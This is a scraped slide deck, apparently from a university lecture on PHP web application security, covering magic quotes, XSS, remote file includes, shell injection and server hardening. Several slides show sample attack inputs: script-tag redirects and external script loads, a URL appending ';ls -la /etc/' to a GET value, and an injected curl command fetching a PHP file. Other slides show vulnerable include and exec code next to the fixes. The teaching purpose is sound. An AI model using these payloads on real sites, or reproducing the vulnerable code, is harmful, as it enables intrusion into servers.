660 likes | 833 Views
Security Issues. General Considerations. Security is a hot topic Security discussions are full of jargon Zero Day Exploit Pen testing Hacker Pharming Injection malware DOS Serious issue, but lots of FUD. Start by thinking about where you are exposed. Filesystem. Multiuser systems
E N D
General Considerations • Security is a hot topic • Security discussions are full of jargon • Zero Day Exploit • Pen testing • Hacker • Pharming • Injection • malware • DOS • Serious issue, but lots of FUD
Filesystem • Multiuser systems • PHP codes executes as the web server, with the web server's permissions • This means any file that you write via PHP might be writable by other users (either via PHP or a CGI program) • Any file that's readable by the web server is readable by others via the web server, even if the server won't serve them to a browser directly • Often web pages are world readable
Forms • You're also exposed whenever you request data from a user • A user may give you data you don't expect or want • Depending on how your program handles the data, this can have a variety of results • Your data on the server could be affected • Other users' browsers could be affected
Other Vectors • This is an aside…. • Services such as ssh and mysql • Firewalls • DMZ • Bind to different ip addresses • What you do from the server • Where the server is located--physical security is key
Consider where you want to put your security measures • For example, in this class I'm trusting you all a lot, as a group, not to trash machines • In MySQL, you can either use the database to secure data, or PHP, or both • Both is hard to do… • In some cases, restricting access to a domain is enough, in other ids are better
Balance • Security is like a seesaw, with whitehats and blackhats on the ends • What's the most secure OS? • Where is the threat coming from these days?
Categories of Hacks • Data that is inserted into code that is displayed on your pages • Data that is inserted to alter your data • Holes that can be exploited to run arbitrary commands
Display Hacks • Targets are bulletin boards, blogs that allow comments, wikis, web forums--anything that allows users to input text that will be displayed • At best, you might get random stuff showing up on your web pages • At worst, users could be "captured" and whisked away
Builtin Security • PHP does try to protect us, but sometimes that protection causes it's own problems • I'm going to run through a series of examples, showing some simple insertion techniques, and the approaches to stop them
Magic Quotes • An example of trying to do good in a bad way….
In the Beginning • As PHP became more popular, attacks against it became more common (why would this be the case?) • Around PHP 3, it was in widespread use, but had very few security features out of the box • In particular, it did nothing to affect data input by forms
Version 4.2.3 • To make PHP safer, version 4.2.3 included magic quotes enabled by default • Magic quotes performs the same function as add_slashes(), but only on any GET, POST or cookie data--that is, it escapes any ',",\, or NULL characters, in an attempt to prevent folks from inserting command strings into php • It works ok, for what it's trying to do, but isn't a complete solution…
So how does it work? • Magic quotes will try to protect us a bit if someone inserts something like:<b>Alert!</b><p>Your account has been compromised, please <a href="http://www.cs.unc.edu">click here for further information</a></p>
echo_string_noslash.php • This file defeats magic quotes and echoes the $_GET["string"] var without alteration <b>Alert!</b><p>Your account has been compromised, please <a href="http://www.cs.unc.edu">click here for further information</a></p>
Calgon, take me away • One can also insert code that moves the user from your site: <script type=text/javascript>window.location = "http://www.duke.edu";</script>
With magic quotes • echo_string.php doesn't defeat magic quotes
Can't trust browsers anyhow • So with magic quotes if the hacker uses well formed HTML, we're ok • But what if I put this in: • Or this: <img src=http://cutedeadthings.com/images/skull-pink-tm.png> • The browser is trying to be helpful… • Look at the source <b>Alert!</b><p>Your account has been compromised, please <a href=http://www.cs.unc.edu>click here for further information</a></p>
We don't need no quotes • Even worse, we don't need quotes to call for an external javascript • This means we can insert pretty much anything we want into the page: <script src=http://127.0.0.1/INLS672/samples/php/security/javascript_hack.js></script>
This last example • Cross site scripting (XSS) generally involves getting data into a web form that produces HTML for display, and use that to call an external script to perform a malicious action • This is often done with javascript, but can be done with other languages • Older versions of IE were prone to attack in this manner because of ActiveX
Are Magic Quotes AGT? • Some say that magic quotes are bad • when enabled, it can make it more difficult to get the data you the way you want it • Produces a false sense of security, since programmers should check user data anyway • But it does protect against the most common attacks such as insertion of javascript • But folks hated it enough that it's off in PHP 6 • And that's the worst of it--if you want to write portable code, you have to check for it
Detecting and Defeating Magic Quotes • This is not very efficient <?php if (get_magic_quotes_gpc()) { function stripslashes_deep($value) { $value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value); return $value; } $_POST = array_map('stripslashes_deep', $_POST); $_GET = array_map('stripslashes_deep', $_GET); $_COOKIE = array_map('stripslashes_deep', $_COOKIE); $_REQUEST = array_map('stripslashes_deep', $_REQUEST); } ?> from http://us.php.net/manual/en/function.stripslashes.php
It's up to you • For many samples of XSS attacks, see:http://ha.ckers.org/xss.html
Simple Sanitation • In this case, we're going to use htmlentities(), htmlspecialchars() and strip_tabs() to affect the user's input • see echo_string_checks.html • Be aware that this is mainly a browser protection…
Blacklist vs. Whitelist • What we've looked at so far are examples of blacklisting--trying to spot evil input • Whitelisting is more secure--figure out what you want, and only allow that
Using regex • Decide what you're willing to accept • Check the user input for that if (eregi("^[a-zA-Z0-9]{0,}$", $_GET['string'])) // The regex above checks every char starting with 0 { echo "String is: " . $_GET['string']; } else { echo "<p>Illegal characters detected</p>"; }
echo_string_clean.html • This is the same form, but passes data to a php script with the regex code • This approach has advantages • Futureproof • Doesn't require you guess what the hacker might try • On error, doesn't process the data at all • Downside is it's harder to get data through
Arbitrary Commands • Basically, this is the worst kind of attack • Cracker finds a hole that allows a command to be executed • Most often that happens at the privilege level of the web server • In some cases, it can be an elevated privilege (rare on linux, not so rare on windows under pre-vista installations)
Includes and Requires • It's pretty common to use an include or require to pull files into a core script • This is a potential vector for a XSS attack, since PHP doesn't care if the file included is remote or local • Be careful with these--if you pass file to be included into your script with a GET or POST, a hacker can run a script of their own through yours • magic_quotes do not protect against this • It's one of the ways I've been hacked include $_GET['file'];
How I've Been Hacked • I created a simple PHP file that included other files with a GET reference • This allowed me to call files elsewhere on the server inside my frame program, and control the display if the file were a text file or html • I did not check the data being passed • The hacker passed a reference to a file on their system, that ran a perl script creating an email relay on our web server, and then passed email through the web server to our smtp server, which accepted all of the spam, since it came from within cs.unc.edu
The File • http://wwwx.cs.unc.edu/help/network/frame.php? • The problem line was:include($_GET[name]);
The Fix • Changed include() to readfile(), the latter doesn't process code, just reads it to output • Added a check for "//" for remote access urls • Added a hook to send email to me when tapped
Attacking the server • Since PHP can pull data about the server, it can be used to find out about the server's configuration (esp. the web server) • More dangerous is the ability to access the shell You should be careful with any data that will be passed to a shell script with back ticks, exec(), or shellexec()
Unguarded GET or POST • In this case, the GET variable is passed directly into a shell exec • We know that shell script lines terminated in a ";" • So a command can be passed in the variable, by inserting a semi-colon $month = $_GET['month']; $year = $_GET['year']; exec("cal $month $year", $result); print "<PRE>"; foreach ($result as $r) { print "$r<BR>"; } print "</PRE>"; This example from http://www.sitepoint.com/article/php-security-blunders
Unguarded GET or POST • An example of a get URL: • http://127.0.0.1/php/security/unguarded_get.php?month=9;ls -la /etc/ • This would be passed to the web server, and executed with it's permissions, so it's a better vector for reads than writes • But any directory that the web server could write to could be tapped…. This example from http://www.sitepoint.com/article/php-security-blunders
Unguarded GET or POST • Ok, so let's say this file sits in a directory that the web server can write to (say for a user comment file, or a log, or….) • Then a hacker could pass something more malicious, eg:curl http://www.cs.unc.edu -o myfile.php
Unguarded GET or POST • The author recommends using a regular expression to check that the input is solely numbers, and of the correct length $month = $_GET['month']; $year = $_GET['year']; if (!preg_match("/^[0-9]{1,2}$/", $month)) { die("Bad month, please re-enter."); } if (!preg_match("/^[0-9]{4}$/", $year)) { die("Bad year, please re-enter."); } This example from http://www.sitepoint.com/article/php-security-blunders
06_mysql_submit.php • I'm pretty much a failure hacking MySQL so far… • But using the lab as an example, here are some things you can insert into the db • <a href=\"http://www.cs.unc.edu\">Wonk</a> • <img src=/PoweredByMacOSXLarge.gif> • It's restricted by the number of characters allowed in the field, but you get the idea
Additional Considerations for MySQL • Don't use unrestricted privileges for database connections (do as I say, not as I do) • Either have the user supply a user id and password, or use a restricted account • Use a mysql account that is limited and appropriate for the given task
register_globals • register_globals, when on, allows php full access to all variables directly • In my examples, I've accessed GET and POST data via the server global array even when not necessary • With it on, $_GET["variable"] is the same as $variable in php • This gives a hacker a chance to inject data into unprotected variables into your script, say into a session variable • So check to see that it's off
open_base_dir • The default is to allow php to open any files, this setting can be enabled to restrict what directories php can access • With a setting of ".", the tree is restricted to the folder of the script itself, or lower • Can be set for virtual servers in apache • Keep in mind that this setting only affects php, any shell scripts you use have full run of the directory tree
What can you do? (Panic?)
Protect your code • In the class pages, I've made the source code visible over the web • This is something to avoid in general--it's easier to hack a site if you know the source • Hide configuration files and data • Restrictive .htaccess files • Use cron based shell scripts to whisk data away • Keep data and config files separate from scripts • Use a sealed db server
Hiding files • Files with a "." as the first character are readable by PHP, but won't be served by a web server • Depending on the server configuration (such a the web server's FollowSymLinks setting, or PHP's open_base_dir setting), you may be able to store data files in areas that the web server won't serve up
.htaccess files • Disallow directory listings • You can also use a blank index file • Restrict access by user id or by domain • See http://www.htaccessbasics.com/
Directory Structures • Keep data files in one directory, configuration files in another, and scripts in a third • You may need to put the data and config dirs inside the scripts folder, but you can use an .htaccess file or other methods to control access • For example, write permissions or afs acls
Open versus Sealed servers • Be aware of who else is on your server • Remember that the web server has to have read privileges--if I'm on the same server, I might be able to use a cgi to see your source code • Consider a "sealed" server for critical data
Finding Hacks • Run a hash on your scripts to check for mods--there are lots of freebie programs that can do this for you and alert you to changes • Tripwire is one example, but it's a complicated thing • Watcher